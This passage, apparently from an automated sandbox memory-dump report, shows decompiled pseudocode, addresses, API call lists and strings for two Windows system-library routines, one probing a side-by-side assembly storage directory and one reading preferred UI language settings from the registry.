memset.1105(6AA08220,00000000,00000234,?,?,?,?,?,?,?,?,?,0000003A,6AA079A0,?,00000000), ref: 6A94341D
RtlLeaveCriticalSection.1105(?,?,?,?,?,?,?,?,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28), ref: 6A943457
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,?,?,?,?,0000003A,6AA079A0,?,00000000), ref: 6A94346E
memcpy.1105(00000000,6AA079A0,00000000,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943489
memmove.1105(6A942F61,?,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A9434B0
memset.1105(6AA08220,00000000,00000234,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A9434CE
memmove.1105(00000002,00000000,?,?,00000000,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943513
memcpy.1105(00000000,?,00000000,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943522
memset.1105(6AA08220,00000000,00000234,?,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A94353D
memcpy.1105(-00000002,00000000,00000000,?,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943563
RtlIsCriticalSectionLockedByThread.1105(00000000,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A985E7F

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$CriticalHeapSectionmemset$FreeLeaveSizememmove$EnterLockedThread
String ID:
API String ID: 3971764801-0
Opcode ID: 0f5dd88f6b9ef4f21ece0edd2b9b66a1063937ff36a1be9f5b768811e271a3b2
Instruction ID: 0b7ac7c0976848aa0bd9c9bcc059d8e0da0208cd98f112cf6d7e2fba35f95b7f
Opcode Fuzzy Hash: 0f5dd88f6b9ef4f21ece0edd2b9b66a1063937ff36a1be9f5b768811e271a3b2
Instruction Fuzzy Hash: C232B1B1E002199FCB14CF78C884BAEBBB5FF59318F254129E815AB391EB35D911CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A94CF6A, Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 321
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6A94CF6A(signed short* __edx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, signed short _a16, signed int* _a20) {
				signed int _v12;
				char _v536;
				signed int _v537;
				signed int* _v544;
				signed int _v548;
				intOrPtr _v552;
				void* _v556;
				signed short _v560;
				signed short _v564;
				char _v568;
				signed short* _v572;
				signed short* _v576;
				intOrPtr _v580;
				signed short _v584;
				void* _v588;
				signed short _v592;
				void* _v596;
				intOrPtr _v600;
				signed short _v604;
				char _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				char* _v624;
				intOrPtr _v628;
				char _v632;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t101;
				void* _t103;
				signed short _t113;
				signed short _t116;
				void _t119;
				char _t129;
				intOrPtr _t131;
				void* _t137;
				intOrPtr _t145;
				short* _t147;
				signed int _t157;
				signed short* _t159;
				void* _t160;
				signed short* _t161;
				signed short _t165;
				intOrPtr _t166;
				signed short _t169;
				intOrPtr _t172;
				void* _t173;
				intOrPtr _t174;
				short _t175;
				void* _t181;
				void* _t189;
				void* _t190;
				signed short* _t192;
				void* _t193;
				void* _t194;
				void* _t197;
				signed short _t199;
				signed int _t200;

				_v12 =  *0x6aa0d360 ^ _t200;
				_t101 = _a8;
				_t166 = _a12;
				_v576 = __edx;
				_v584 = _a16;
				_t192 = _a4;
				_v544 = _a20;
				_v548 = _v548 & 0;
				_t189 = 0;
				_v560 = 0;
				_v537 = 0;
				_v568 = 0;
				_v564 = 0;
				_v588 = 0;
				_t187 = _v584;
				_v572 = _t192;
				_v580 = _t101;
				_v552 = _t166;
				_v556 = 0;
				if(_t187 != 0) {
					 *_t187 =  *_t187 & 0;
				}
				_t159 = _v576;
				if(_v544 != _t189) {
					 *_v544 =  *_v544 & _t189;
					_t166 = _v552;
				}
				if(_t159 == 0 || _t192 == 0 || _t101 == 0 || _t166 == 0 || _t187 == 0 || _v544 == _t189) {
					_push(_v544);
					_push(_t187);
					_push(_t166);
					_push(_t101);
					_push(_t192);
					_push(_t159);
					_push(0);
					E6A9A5720(0x33, 0, "SXS: %s() bad parameters\nSXS:  Flags:               0x%lx\nSXS:  Root:                %p\nSXS:  AssemblyDirectory:   %p\nSXS:  PreAllocatedString:  %p\nSXS:  DynamicString:       %p\nSXS:  StringUsed:          %p\nSXS:  OpenDirectoryHandle: %p\n", "RtlpProbeAssemblyStorageRootForAssembly");
					_t193 = 0xc000000d;
					goto L24;
				} else {
					_t169 =  *_t159 & 0x0000ffff;
					_t187 = _t169;
					if(_t169 != 0) {
						_t157 =  *(_t159[2] + (_t169 >> 1) * 2 - 2) & 0x0000ffff;
						_t181 = 0x5c;
						_t169 =  *_t159 & 0x0000ffff;
						if(_t157 != _t181) {
							if(_t157 != 0x2f) {
								_v537 = 1;
								_t187 = _t187 + 2;
							}
						}
					}
					_t113 = ( *_t192 & 0x0000ffff) + 4 + _t187;
					_v592 = _t113;
					if(_t113 > 0xfffe) {
						_push("SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING.\n");
						_push(0);
						_push(0x33);
						E6A9A5720();
						_t193 = 0xc0000106;
						L26:
						if(_t189 != 0 && _t189 !=  &_v536) {
							E6A91AD30(_t189);
						}
						L28:
						if(_v548 != 0) {
							_push(_v548);
							E6A9595D0();
						}
						_pop(_t190);
						_pop(_t194);
						_pop(_t160);
						return E6A95B640(_t193, _t160, _v12 ^ _t200, _t187, _t190, _t194);
					}
					if(_t113 > 0x208) {
						_t195 = _t113 & 0x0000ffff;
						_t189 = E6A933A1C(_t113 & 0x0000ffff);
						_v556 = _t189;
						if(_t189 != 0) {
							_t116 =  *_t159 & 0x0000ffff;
							goto L15;
						}
						E6A9A5720(0x33, _t115, "SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.\n", _t195);
						_t193 = 0xc0000017;
						goto L28;
					} else {
						_t189 =  &_v536;
						_t116 = _t169 & 0x0000ffff;
						_v556 = _t189;
						L15:
						memcpy(_t189, _t159[2], _t116 & 0x0000ffff);
						_t197 = _t189 + ( *_t159 & 0x0000ffff);
						if(_v537 != 0) {
							_t119 = 0x5c;
							 *_t197 = _t119;
							_t197 = _t197 + 2;
						}
						_t161 = _v572;
						memcpy(_t197, _t161[2],  *_t161 & 0x0000ffff);
						 *((short*)(_t197 + ( *_t161 & 0x0000ffff))) = 0;
						_t165 = (_v537 & 0x000000ff) + (_v537 & 0x000000ff) +  *_v572 +  *_v576;
						_v560 = _t165;
						if(E6A926A00(_t189,  &_v568, 0,  &_v608) == 0) {
							E6A9A5720(0x33, 0, "SXS: Attempt to translate DOS path name \"%S\" to NT format failed\n", _t189);
							_t193 = 0xc000003a;
							goto L26;
						} else {
							_t129 = _v608;
							_t187 = _v564;
							_v588 = _v564;
							if(_t129 != 0) {
								_v568 = _t129;
								_v564 = _v604;
								_t131 = _v600;
							} else {
								_t131 = 0;
							}
							_v628 = _t131;
							_push(0x21);
							_v624 =  &_v568;
							_push(3);
							_push( &_v640);
							_v632 = 0x18;
							_push( &_v632);
							_push(0x100020);
							_v620 = 0x40;
							_push( &_v548);
							_v616 = 0;
							_v612 = 0;
							_t193 = E6A959830();
							_t137 = _v596;
							if(_t137 != 0) {
								asm("lock xadd [eax], ecx");
								if(0xffffffff == 0) {
									_push( *((intOrPtr*)(_t137 + 4)));
									E6A9595D0();
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v596);
									_t189 = _v556;
									_t165 = _v560;
								}
							}
							if(_t193 < 0) {
								if(_t193 == 0xc000000f || _t193 == 0xc0000034 || _t193 == 0xc000003a) {
									_t193 = 0xc0150004;
								} else {
									_push(_t193);
									E6A9A5720(0x33, 0, "SXS: Unable to open assembly directory under storage root \"%S\"; Status = 0x%08lx\n", _t189);
								}
								goto L24;
							} else {
								_t172 = _v580;
								_t199 = _v592;
								if(_t199 > ( *(_t172 + 2) & 0x0000ffff)) {
									if(_t189 ==  &_v536) {
										_t173 = E6A933A1C(_t199);
										 *(_v552 + 4) = _t173;
										if(_t173 != 0) {
											memcpy(_t173, _t189, _t165 & 0x0000ffff);
											_t145 = _v552;
											L52:
											 *(_t145 + 2) = _t199;
											_t174 = _t145;
											goto L23;
										}
										_t193 = 0xc0000017;
										goto L24;
									}
									_t145 = _v552;
									 *(_t145 + 4) = _t189;
									_t189 = 0;
									_v556 = 0;
									goto L52;
								} else {
									memcpy( *(_t172 + 4), _t189, _t165 & 0x0000ffff);
									_t174 = _v580;
									L23:
									_t187 = _v584;
									 *_t187 = _t174;
									_t147 = (_t165 & 0x0000ffff) +  *((intOrPtr*)(_t174 + 4));
									_t175 = 0x5c;
									 *_t147 = _t175;
									 *((short*)(_t147 + 2)) = 0;
									 *( *_t187) = _v560 + 2;
									_v548 = _v548 & 0x00000000;
									_t193 = 0;
									 *_v544 = _v548;
									L24:
									_t103 = _v588;
									if(_t103 != 0) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t103);
										_t189 = _v556;
									}
									goto L26;
								}
							}
						}
					}
				}
			}

0x6a94cf7c
0x6a94cf7f
0x6a94cf82
0x6a94cf85
0x6a94cf8e
0x6a94cf99
0x6a94cf9c
0x6a94cfa4
0x6a94cfab
0x6a94cfad
0x6a94cfb3
0x6a94cfb9
0x6a94cfbf
0x6a94cfc5
0x6a94cfcb
0x6a94cfd1
0x6a94cfd7
0x6a94cfdd
0x6a94cfe3
0x6a94cfeb
0x6a94cfed
0x6a94cfed
0x6a94cfef
0x6a94cffb
0x6a94d003
0x6a94d005
0x6a94d005
0x6a94d00d
0x6a98afc1
0x6a98afc7
0x6a98afc8
0x6a98afc9
0x6a98afca
0x6a98afcb
0x6a98afcc
0x6a98afdc
0x6a98afe4
0x00000000
0x6a94d03f
0x6a94d03f
0x6a94d042
0x6a94d047
0x6a94d050
0x6a94d055
0x6a94d059
0x6a94d05c
0x6a98ae41
0x6a98ae47
0x6a98ae4e
0x6a98ae4e
0x6a98ae41
0x6a94d05c
0x6a94d068
0x6a94d06a
0x6a94d075
0x6a98ae56
0x6a98ae5b
0x6a98ae5d
0x6a98ae5f
0x6a98ae67
0x6a94d230
0x6a94d232
0x6a94d261
0x6a94d261
0x6a94d23e
0x6a94d245
0x6a98afee
0x6a98aff4
0x6a98aff4
0x6a94d250
0x6a94d251
0x6a94d254
0x6a94d25d
0x6a94d25d
0x6a94d080
0x6a98ae71
0x6a98ae7a
0x6a98ae7c
0x6a98ae84
0x6a98aea1
0x00000000
0x6a98aea1
0x6a98ae8f
0x6a98ae97
0x00000000
0x6a94d086
0x6a94d086
0x6a94d08c
0x6a94d08f
0x6a94d095
0x6a94d09d
0x6a94d0a8
0x6a94d0b1
0x6a98aeab
0x6a98aeac
0x6a98aeaf
0x6a98aeaf
0x6a94d0b7
0x6a94d0c5
0x6a94d0dc
0x6a94d0f1
0x6a94d102
0x6a94d112
0x6a98aec0
0x6a98aec8
0x00000000
0x6a94d118
0x6a94d118
0x6a94d11e
0x6a94d124
0x6a94d12d
0x6a98aed2
0x6a98aede
0x6a98aee4
0x6a94d133
0x6a94d133
0x6a94d133
0x6a94d135
0x6a94d141
0x6a94d143
0x6a94d14f
0x6a94d151
0x6a94d158
0x6a94d162
0x6a94d163
0x6a94d16e
0x6a94d178
0x6a94d179
0x6a94d17f
0x6a94d18a
0x6a94d18c
0x6a94d194
0x6a98aef2
0x6a98aef6
0x6a98aefc
0x6a98aeff
0x6a98af15
0x6a98af1a
0x6a98af20
0x6a98af20
0x6a98aef6
0x6a94d19c
0x6a98af32
0x6a98af5c
0x6a98af44
0x6a98af44
0x6a98af4f
0x6a98af54
0x00000000
0x6a94d1a2
0x6a94d1a2
0x6a94d1a8
0x6a94d1b4
0x6a98af6e
0x6a98af89
0x6a98af91
0x6a98af96
0x6a98afa8
0x6a98afad
0x6a98afb6
0x6a98afb6
0x6a98afba
0x00000000
0x6a98afba
0x6a98af98
0x00000000
0x6a98af98
0x6a98af70
0x6a98af76
0x6a98af79
0x6a98af7b
0x00000000
0x6a94d1ba
0x6a94d1c2
0x6a94d1c7
0x6a94d1d0
0x6a94d1d0
0x6a94d1db
0x6a94d1dd
0x6a94d1e0
0x6a94d1e1
0x6a94d1e6
0x6a94d1f5
0x6a94d204
0x6a94d20b
0x6a94d20d
0x6a94d20f
0x6a94d20f
0x6a94d217
0x6a94d225
0x6a94d22a
0x6a94d22a
0x00000000
0x6a94d217
0x6a94d1b4
0x6a94d19c
0x6a94d112
0x6a94d080

APIs

memcpy.1105(?,00000010,?,00000040,?,?), ref: 6A94D09D
memcpy.1105(00000000,00000010,00000000,00000040,?,?), ref: 6A94D0C5
RtlDosPathNameToRelativeNtPathName_U.1105(?,?,00000000,?,?,?,?,00000040,?,?), ref: 6A94D10B
ZwOpenFile.1105(?,00100020,?,?,00000003,00000021,?,?,00000000,?,?,?,?,00000040,?,?), ref: 6A94D185
memcpy.1105(00000010,?,?,?,00100020,?,?,00000003,00000021,?,?,00000000,?), ref: 6A94D1C2
RtlFreeHeap.1105(?,00000000,?,?,00000000,?,?,?,?,00000040,?,?), ref: 6A94D225
RtlDeleteBoundaryDescriptor.1105(?,?,00000000,?,?,?,?,00000040,?,?), ref: 6A94D261

Part of subcall function 6A91AD30: RtlFreeHeap.1105(?,00000000,00000001,?,6A9402E9,00000000,?,6A92ECFB,6AA084D8,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?), ref: 6A91AD43

ZwClose.1105(00000010,?,00100020,?,?,00000003,00000021,?,?,00000000,?,?,?,?,00000040,?), ref: 6A98AEFF
RtlFreeHeap.1105(?,00000000,?,00000010,?,00100020,?,?,00000003,00000021,?,?,00000000,?), ref: 6A98AF15

Strings

SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed., xrefs: 6A98AE87
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 6A98AF46
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 6A98AEB8
SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING., xrefs: 6A98AE56
RtlpProbeAssemblyStorageRootForAssembly, xrefs: 6A98AFCE
@, xrefs: 6A94D16E
SXS: %s() bad parametersSXS: Flags: 0x%lxSXS: Root: %pSXS: AssemblyDirectory: %pSXS: PreAllocatedString: %pSXS: DynamicString: %pSXS: StringUsed: %pSXS: OpenDirectoryHandle: %p, xrefs: 6A98AFD3

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeapmemcpy$Path$BoundaryCloseDeleteDescriptorFileNameName_OpenRelative
String ID: @$RtlpProbeAssemblyStorageRootForAssembly$SXS: %s() bad parametersSXS: Flags: 0x%lxSXS: Root: %pSXS: AssemblyDirectory: %pSXS: PreAllocatedString: %pSXS: DynamicString: %pSXS: StringUsed: %pSXS: OpenDirectoryHandle: %p$SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.$SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING.$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx
API String ID: 1343436988-541586583
Opcode ID: e205324812a85d3d8a64a64ad1a6ca855f5bd76f0b4d8ad06b52ddbbcbe3386b
Instruction ID: 96f662e3eda1482de40472553d967eab0933ede3a16c0be272dad7f8f99aebf7
Opcode Fuzzy Hash: e205324812a85d3d8a64a64ad1a6ca855f5bd76f0b4d8ad06b52ddbbcbe3386b
Instruction Fuzzy Hash: 07C1A5B5941238AFDB609F15CC88BAAB7F4EF55714F2240DAE908A7291DB34DE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6A91EC9B, Relevance: 40.6, APIs: 14, Strings: 9, Instructions: 320
nativememoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E6A91EC9B(intOrPtr __ecx, signed int _a4, intOrPtr _a8, char* _a12, intOrPtr* _a16) {
				intOrPtr _v36;
				char _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				long _v88;
				void* _v92;
				intOrPtr _v96;
				void* _v100;
				intOrPtr _v104;
				char _v108;
				long _v112;
				char _v116;
				char _v117;
				char _v120;
				signed int _v124;
				char _v125;
				char _v128;
				unsigned int _v132;
				signed int _v136;
				void* _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				void* _v152;
				char _v156;
				void* _v168;
				void* _v172;
				void* _v180;
				void* _v192;
				void* _t107;
				void* _t108;
				void* _t119;
				void* _t126;
				WCHAR* _t135;
				char _t140;
				void* _t155;
				char* _t168;
				long _t169;
				void* _t174;
				char _t179;
				void* _t180;
				void* _t182;
				void* _t189;
				signed int _t191;
				void* _t193;
				signed int _t195;
				signed int _t197;
				void* _t199;

				_t199 = (_t197 & 0xfffffff8) - 0x74;
				_t168 = _a12;
				_v104 = __ecx;
				_v100 = 0;
				_v112 = 0;
				_v108 = 0;
				_v96 = 7;
				_v92 = 0;
				_v88 = 0;
				_v117 = 0;
				_t189 = 0;
				_v116 = 0;
				if(__ecx == 0 || _t168 == 0 || _a16 == 0) {
					_t193 = 0xc000000d;
					goto L43;
				} else {
					_t195 = _a4;
					 *_t168 = 0;
					if(_t195 == 1 || _t195 == 0) {
						RtlInitUnicodeString( &_v84, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
						_v84 = 0x18;
						_v76 =  &_v92;
						_v116 = 0;
						_push( &_v84);
						_push(0x20019);
						_v80 = 0;
						_push( &_v116);
						_v72 = 0x40;
						_v68 = 0;
						_v64 = 0;
						if(E6A959600() >= 0) {
							_t126 = E6A91BAA0(_v116, _v112,  &_v124);
							_t189 = _v136;
							_t193 = _t126;
							if(_t193 != 0 || _t189 == 0) {
								_t179 = _v116;
								_t195 = _a4;
								goto L7;
							} else {
								goto L44;
							}
						} else {
							_t179 = 0;
							_v116 = 0;
							L7:
							if(_t195 == 1 && _t179 != 0 && E6A9CD191(_t179,  &_v125) >= 0) {
								asm("sbb eax, eax");
								_a4 = _t195 &  ~(_v125 - 0x00000001 & 0x000000ff);
							}
							_t185 = 0;
							_t180 = 0x2000000;
							_t193 = E6A91F108(0, _t179, _t179,  &_v108);
							if(_t193 < 0) {
								L45:
								 *_t168 = 1;
								goto L43;
							} else {
								if(_a4 != 1) {
									RtlInitUnicodeString( &_v92, L"Control Panel\\Desktop\\MuiCached");
									_t193 = 0;
									_v40 = _v116;
									_v36 =  &_v100;
									_push( &_v44);
									_push(0x20019);
									_v128 = 0;
									_push( &_v128);
									_v44 = 0x18;
									 *((intOrPtr*)(_t199 + 0x80)) = 0x40;
									 *((intOrPtr*)(_t199 + 0x84)) = 0;
									 *((intOrPtr*)(_t199 + 0x88)) = 0;
									if(E6A959600() < 0) {
										 *_t168 = 1;
										L44:
										_t174 = 0;
										L17:
										_t115 = _a4;
										if(_a4 != 0 || _t189 != 0 &&  *((intOrPtr*)(_t189 + 4)) != _t174) {
											_t171 = _v104;
											L21:
											if(_t189 == 0) {
												_t189 = E6A927608(1, _t185 & 0xffffff00 | _t115 != 0x00000001, _t171);
												if(_t189 == 0) {
													_t193 = 0xc0000017;
												}
											}
											goto L23;
										} else {
											_t171 = _v104;
											_t119 = E6A9CE0E9(_v104, _t168,  &_v116);
											_t189 = _v124;
											_t193 = _t119;
											if(_t193 != 0) {
												L23:
												 *_a16 = _t189;
												L24:
												_t107 = _v88;
												if(_t107 == 0) {
													L48:
													_t169 = 0;
													L26:
													if(_v112 != 0) {
														_push(_v112);
														E6A9595D0();
														_v116 = _t169;
													}
													_t108 = _v100;
													if(_t108 != 0) {
														if(_t108 != 0xffffffff) {
															 *0x6a8f6cc4(_t108);
														}
														_v100 = _t169;
													}
													if(_v108 != 0) {
														_push(_v108);
														E6A9595D0();
													}
													goto L33;
												}
												_t169 = 0;
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t107);
												goto L26;
											}
											_t115 = _a4;
											goto L21;
										}
									}
									_t135 = L"MachinePreferredUILanguages";
									L15:
									RtlInitUnicodeString( &_v100, _t135);
									_push(_t180);
									_t185 =  &_v108;
									_t182 = E6A91F018(_v136,  &_v108,  &_v120, _t193,  &_v116);
									_t193 = 0xc0000034;
									if(_t182 != 0xc0000034) {
										_t140 = _v120;
										if(_t140 == 0) {
											goto L16;
										}
										if(_t182 != 0x80000005) {
											goto L48;
										}
										_t191 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t140 + 2);
										_v124 = _t191;
										if(_t191 == 0) {
											_t193 = 0xc0000017;
											goto L48;
										}
										_push(_t182);
										_t185 =  &_v120;
										_t193 = E6A91F018(_v148,  &_v120,  &_v132, _t191,  &_v128);
										if(_t193 < 0) {
											L42:
											_t189 = _v156;
											L43:
											if(_t193 != 0) {
												goto L24;
											}
											goto L44;
										}
										if(_v136 != 7) {
											if(_v136 == 1) {
												goto L41;
											}
											_t189 = _v156;
											_t174 = 0;
											_t193 = 0;
											 *_t168 = 1;
											goto L17;
										}
										L41:
										_t185 = _t191;
										_t193 = E6A9238A4(_v144, _t191, _v132 >> 1, 8, (0 | _v132 >> 0x00000001 != 0x00000000) + 2, 1,  &_v156);
										goto L42;
									}
									L16:
									_t174 = 0;
									 *_t168 = 1;
									_t193 = 0;
									goto L17;
								}
								_t155 = E6A91E420(_v108, _v112,  &_v124);
								_t189 = _v136;
								_t193 = _t155;
								if(_t193 == 0) {
									if(_t189 != 0) {
										goto L23;
									}
								}
								RtlInitUnicodeString( &_v92, L"Control Panel\\Desktop");
								_t180 = 0;
								_v64 = _v116;
								_v60 =  &_v100;
								_push( &_v68);
								_push(0x20019);
								_v128 = 0;
								_push( &_v128);
								_v68 = 0x18;
								_v56 = 0x40;
								_v52 = 0;
								_v48 = 0;
								_t193 = E6A959600();
								if(_t193 < 0) {
									goto L45;
								}
								_t135 = L"PreferredUILanguages";
								if(_a8 != 3) {
									_t135 = L"PreferredUILanguagesPending";
								}
								_t193 = 0;
								goto L15;
							}
						}
					} else {
						_t193 = 0xc000000d;
						L33:
						return _t193;
					}
				}
			}

0x6a91eca3
0x6a91eca7
0x6a91ecae
0x6a91ecb2
0x6a91ecb6
0x6a91ecba
0x6a91ecbe
0x6a91ecc6
0x6a91ecca
0x6a91ecce
0x6a91ecd4
0x6a91ecd6
0x6a91ecdc
0x6a975952
0x00000000
0x6a91ecf3
0x6a91ecf3
0x6a91ecf6
0x6a91ecfb
0x6a91ed0f
0x6a91ed18
0x6a91ed20
0x6a91ed2a
0x6a91ed2e
0x6a91ed2f
0x6a91ed38
0x6a91ed3c
0x6a91ed3d
0x6a91ed45
0x6a91ed49
0x6a91ed54
0x6a9758d5
0x6a9758da
0x6a9758de
0x6a9758e2
0x6a9758ec
0x6a9758f0
0x00000000
0x00000000
0x00000000
0x00000000
0x6a91ed5a
0x6a91ed5a
0x6a91ed5c
0x6a91ed60
0x6a91ed63
0x6a975914
0x6a975918
0x6a975918
0x6a91ed71
0x6a91ed76
0x6a91ed80
0x6a91ed84
0x6a91f002
0x6a91f002
0x00000000
0x6a91ed8a
0x6a91ed8e
0x6a91ef03
0x6a91ef0c
0x6a91ef0e
0x6a91ef16
0x6a91ef1e
0x6a91ef1f
0x6a91ef28
0x6a91ef2c
0x6a91ef2d
0x6a91ef35
0x6a91ef40
0x6a91ef47
0x6a91ef55
0x6a91f007
0x6a91effb
0x6a91effb
0x6a91ee5a
0x6a91ee5a
0x6a91ee5f
0x6a91ee73
0x6a91ee77
0x6a91ee79
0x6a91ee8a
0x6a91ee8e
0x6a975983
0x6a975983
0x6a91ee8e
0x00000000
0x6a97595c
0x6a975962
0x6a975968
0x6a97596d
0x6a975971
0x6a975975
0x6a91ee94
0x6a91ee97
0x6a91ee99
0x6a91ee99
0x6a91ee9f
0x6a91f011
0x6a91f011
0x6a91eeb7
0x6a91eebc
0x6a91eebe
0x6a91eec2
0x6a91eec7
0x6a91eec7
0x6a91eecb
0x6a91eed1
0x6a91eed6
0x6a91eed9
0x6a91eed9
0x6a91eedf
0x6a91eedf
0x6a91eee8
0x6a97598d
0x6a975991
0x6a975991
0x00000000
0x6a91eee8
0x6a91eeac
0x6a91eeb2
0x00000000
0x6a91eeb2
0x6a97597b
0x00000000
0x6a97597b
0x6a91ee5f
0x6a91ef5b
0x6a91ee20
0x6a91ee26
0x6a91ee2b
0x6a91ee3b
0x6a91ee44
0x6a91ee46
0x6a91ee4d
0x6a91ef65
0x6a91ef6b
0x00000000
0x00000000
0x6a91ef77
0x00000000
0x00000000
0x6a91ef91
0x6a91ef93
0x6a91ef99
0x6a91f00c
0x00000000
0x6a91f00c
0x6a91ef9b
0x6a91efab
0x6a91efb4
0x6a91efb8
0x6a91efef
0x6a91efef
0x6a91eff3
0x6a91eff5
0x00000000
0x00000000
0x00000000
0x6a91eff5
0x6a91efbf
0x6a97593c
0x00000000
0x00000000
0x6a975942
0x6a975946
0x6a975948
0x6a97594a
0x00000000
0x6a97594a
0x6a91efc5
0x6a91efd0
0x6a91efed
0x00000000
0x6a91efed
0x6a91ee53
0x6a91ee53
0x6a91ee55
0x6a91ee58
0x00000000
0x6a91ee58
0x6a91eda1
0x6a91eda6
0x6a91edaa
0x6a91edae
0x6a975922
0x00000000
0x00000000
0x6a975928
0x6a91edbe
0x6a91edc7
0x6a91edc9
0x6a91edd1
0x6a91edd9
0x6a91edda
0x6a91ede3
0x6a91ede7
0x6a91ede8
0x6a91edf0
0x6a91edf8
0x6a91edfc
0x6a91ee05
0x6a91ee09
0x00000000
0x00000000
0x6a91ee13
0x6a91ee18
0x6a97592d
0x6a97592d
0x6a91ee1e
0x00000000
0x6a91ee1e
0x6a91ed84
0x6a9758be
0x6a9758be
0x6a91eeee
0x6a91eef6
0x6a91eef6
0x6a91ecfb

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000), ref: 6A91ED0F
ZwOpenKey.1105(?,?,?,?,00020019,00000018,?,?,?,?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000), ref: 6A91ED4D
RtlpLoadUserUIByPolicy.1105(?,?,?,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?), ref: 6A91EDA1
RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6A91EDBE
ZwOpenKey.1105(00000007,00020019,00000040,?,Control Panel\Desktop,?,?,?,00000000,00000000,?,?,?,?,?,00020019), ref: 6A91EE00
RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,00000040,?,Control Panel\Desktop,?,?,?,00000000,00000000,?), ref: 6A91EE26
RtlFreeHeap.1105(?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?), ref: 6A91EEB2
ZwClose.1105(00000000,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6A91EEC2
ZwClose.1105(?,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6A91EED9
RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings), ref: 6A91EF03
ZwOpenKey.1105(?,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,00000000,00000000,?,?,?,?,?), ref: 6A91EF4E
RtlAllocateHeap.1105(?,00000008,?,?,00000000,?,?,?,PreferredUILanguages,00000007,00020019,00000040,?,Control Panel\Desktop,?,?), ref: 6A91EF8C
ZwClose.1105(00000000,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6A975991

Strings

@, xrefs: 6A91ED3D
MachinePreferredUILanguages, xrefs: 6A91EF5B
@, xrefs: 6A91EDF0
PreferredUILanguages, xrefs: 6A91EE13, 6A91EE20
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 6A91ED05
PreferredUILanguagesPending, xrefs: 6A97592D
Control Panel\Desktop, xrefs: 6A91EDB4
@, xrefs: 6A91EF35
Control Panel\Desktop\MuiCached, xrefs: 6A91EEF9

Memory Dump Source

